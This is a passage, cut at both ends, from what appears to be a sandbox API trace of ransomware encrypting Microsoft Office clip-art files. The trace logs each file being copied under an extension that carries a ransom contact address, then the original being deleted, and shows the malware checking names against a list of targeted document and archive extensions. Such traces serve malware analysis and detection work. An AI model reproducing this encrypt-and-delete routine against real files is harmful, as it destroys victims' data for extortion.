dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.468] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=16710) returned 1 [0261.468] CloseHandle (hObject=0x39c) returned 1 [0261.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 0x20 [0261.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.469] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.469] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.469] GetLastError () returned 0x0 [0261.469] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4146, lpOverlapped=0x0) returned 1 [0261.471] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4150, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4150, lpOverlapped=0x0) returned 1 [0261.472] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.472] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.473] SetEndOfFile (hFile=0x1f8) returned 1 [0261.473] CloseHandle (hObject=0x1f8) returned 1 [0261.473] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.473] SetEndOfFile (hFile=0x39c) returned 1 [0261.475] CloseHandle (hObject=0x39c) returned 1 [0261.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf")) returned 1 [0261.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.476] lstrlenW (lpString=".doc") returned 4 [0261.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.476] lstrlenW (lpString=".docx") returned 5 [0261.476] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0261.476] lstrlenW (lpString=".pdf") returned 4 [0261.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.476] lstrlenW (lpString=".xls") returned 4 [0261.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.476] lstrlenW (lpString=".xlsx") returned 5 [0261.476] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0261.476] lstrlenW (lpString=".ppt") returned 4 [0261.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.476] lstrlenW (lpString=".zip") returned 4 [0261.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.476] lstrlenW (lpString=".rar") returned 4 [0261.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.476] lstrlenW (lpString=".bz2") returned 4 [0261.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.476] lstrlenW (lpString=".7z") returned 3 [0261.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.476] lstrlenW (lpString=".dbf") returned 4 [0261.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.476] lstrlenW (lpString=".1cd") returned 4 [0261.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.477] lstrlenW (lpString=".jpg") returned 4 [0261.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.477] lstrlenW (lpString=".doc") returned 4 [0261.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.477] lstrlenW (lpString=".docx") returned 5 [0261.477] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0261.477] lstrlenW (lpString=".pdf") returned 4 [0261.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.477] lstrlenW (lpString=".xls") returned 4 [0261.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.477] lstrlenW (lpString=".xlsx") returned 5 [0261.477] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0261.477] lstrlenW (lpString=".ppt") returned 4 [0261.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.477] lstrlenW (lpString=".zip") returned 4 [0261.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.477] lstrlenW (lpString=".rar") returned 4 [0261.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.477] lstrlenW (lpString=".bz2") returned 4 [0261.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.477] lstrlenW (lpString=".7z") returned 3 [0261.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.477] lstrlenW (lpString=".dbf") returned 4 [0261.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.477] lstrlenW (lpString=".1cd") returned 4 [0261.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0261.477] lstrlenW (lpString=".jpg") returned 4 [0261.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.478] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.478] lstrlenW (lpString="J0145168.JPG") returned 12 [0261.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.478] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=33657) returned 1 [0261.478] CloseHandle (hObject=0x39c) returned 1 [0261.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 0x20 [0261.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.479] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.479] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.479] GetLastError () returned 0x0 [0261.479] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x8379, lpOverlapped=0x0) returned 1 [0261.481] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x8380, lpOverlapped=0x0) returned 1 [0261.483] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.483] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.483] SetEndOfFile (hFile=0x1f8) returned 1 [0261.483] CloseHandle (hObject=0x1f8) returned 1 [0261.483] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.483] SetEndOfFile (hFile=0x39c) returned 1 [0261.485] CloseHandle (hObject=0x39c) returned 1 [0261.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0261.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.486] lstrlenW (lpString=".doc") returned 4 [0261.486] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.486] lstrlenW (lpString=".docx") returned 5 [0261.486] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0261.486] lstrlenW (lpString=".pdf") returned 4 [0261.486] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.486] lstrlenW (lpString=".xls") returned 4 [0261.486] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.487] lstrlenW (lpString=".xlsx") returned 5 [0261.487] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0261.487] lstrlenW (lpString=".ppt") returned 4 [0261.487] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.487] lstrlenW (lpString=".zip") returned 4 [0261.487] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.487] lstrlenW (lpString=".rar") returned 4 [0261.487] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.487] lstrlenW (lpString=".bz2") returned 4 [0261.487] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.487] lstrlenW (lpString=".7z") returned 3 [0261.487] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.487] lstrlenW (lpString=".dbf") returned 4 [0261.487] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.487] lstrlenW (lpString=".1cd") returned 4 [0261.487] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.487] lstrlenW (lpString=".jpg") returned 4 [0261.487] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.487] lstrlenW (lpString=".doc") returned 4 [0261.487] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.487] lstrlenW (lpString=".docx") returned 5 [0261.487] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0261.487] lstrlenW (lpString=".pdf") returned 4 [0261.487] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.487] lstrlenW (lpString=".xls") returned 4 [0261.487] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.487] lstrlenW (lpString=".xlsx") returned 5 [0261.487] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0261.487] lstrlenW (lpString=".ppt") returned 4 [0261.487] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.488] lstrlenW (lpString=".zip") returned 4 [0261.488] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.488] lstrlenW (lpString=".rar") returned 4 [0261.488] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.488] lstrlenW (lpString=".bz2") returned 4 [0261.488] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.488] lstrlenW (lpString=".7z") returned 3 [0261.488] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.488] lstrlenW (lpString=".dbf") returned 4 [0261.488] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.488] lstrlenW (lpString=".1cd") returned 4 [0261.488] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0261.488] lstrlenW (lpString=".jpg") returned 4 [0261.488] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.488] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.488] lstrlenW (lpString="J0145212.JPG") returned 12 [0261.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.489] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=61633) returned 1 [0261.489] CloseHandle (hObject=0x39c) returned 1 [0261.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg")) returned 0x20 [0261.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.490] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.490] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.491] GetLastError () returned 0x0 [0261.491] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xf0c1, lpOverlapped=0x0) returned 1 [0261.494] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xf0d0, lpOverlapped=0x0) returned 1 [0261.495] ReadFile (in: hFile=0x39c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.495] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.495] SetEndOfFile (hFile=0x1f8) returned 1 [0261.495] CloseHandle (hObject=0x1f8) returned 1 [0261.496] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.496] SetEndOfFile (hFile=0x39c) returned 1 [0261.863] CloseHandle (hObject=0x39c) returned 1 [0261.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg")) returned 1 [0261.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.880] lstrlenW (lpString=".doc") returned 4 [0261.880] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.880] lstrlenW (lpString=".docx") returned 5 [0261.880] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0261.880] lstrlenW (lpString=".pdf") returned 4 [0261.880] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.880] lstrlenW (lpString=".xls") returned 4 [0261.881] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.881] lstrlenW (lpString=".xlsx") returned 5 [0261.881] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0261.881] lstrlenW (lpString=".ppt") returned 4 [0261.881] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.881] lstrlenW (lpString=".zip") returned 4 [0261.881] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.881] lstrlenW (lpString=".rar") returned 4 [0261.881] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.881] lstrlenW (lpString=".bz2") returned 4 [0261.881] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.881] lstrlenW (lpString=".7z") returned 3 [0261.881] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.881] lstrlenW (lpString=".dbf") returned 4 [0261.881] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.881] lstrlenW (lpString=".1cd") returned 4 [0261.881] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.881] lstrlenW (lpString=".jpg") returned 4 [0261.881] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.881] lstrlenW (lpString=".doc") returned 4 [0261.881] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.881] lstrlenW (lpString=".docx") returned 5 [0261.881] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0261.881] lstrlenW (lpString=".pdf") returned 4 [0261.881] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.881] lstrlenW (lpString=".xls") returned 4 [0261.881] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.881] lstrlenW (lpString=".xlsx") returned 5 [0261.881] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0261.881] lstrlenW (lpString=".ppt") returned 4 [0261.881] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.882] lstrlenW (lpString=".zip") returned 4 [0261.882] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.882] lstrlenW (lpString=".rar") returned 4 [0261.882] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.882] lstrlenW (lpString=".bz2") returned 4 [0261.882] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.882] lstrlenW (lpString=".7z") returned 3 [0261.882] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.882] lstrlenW (lpString=".dbf") returned 4 [0261.882] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.882] lstrlenW (lpString=".1cd") returned 4 [0261.882] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0261.882] lstrlenW (lpString=".jpg") returned 4 [0261.882] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.882] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.882] lstrlenW (lpString="J0145895.JPG") returned 12 [0261.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.883] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=33958) returned 1 [0261.883] CloseHandle (hObject=0x1b8) returned 1 [0261.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 0x20 [0261.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 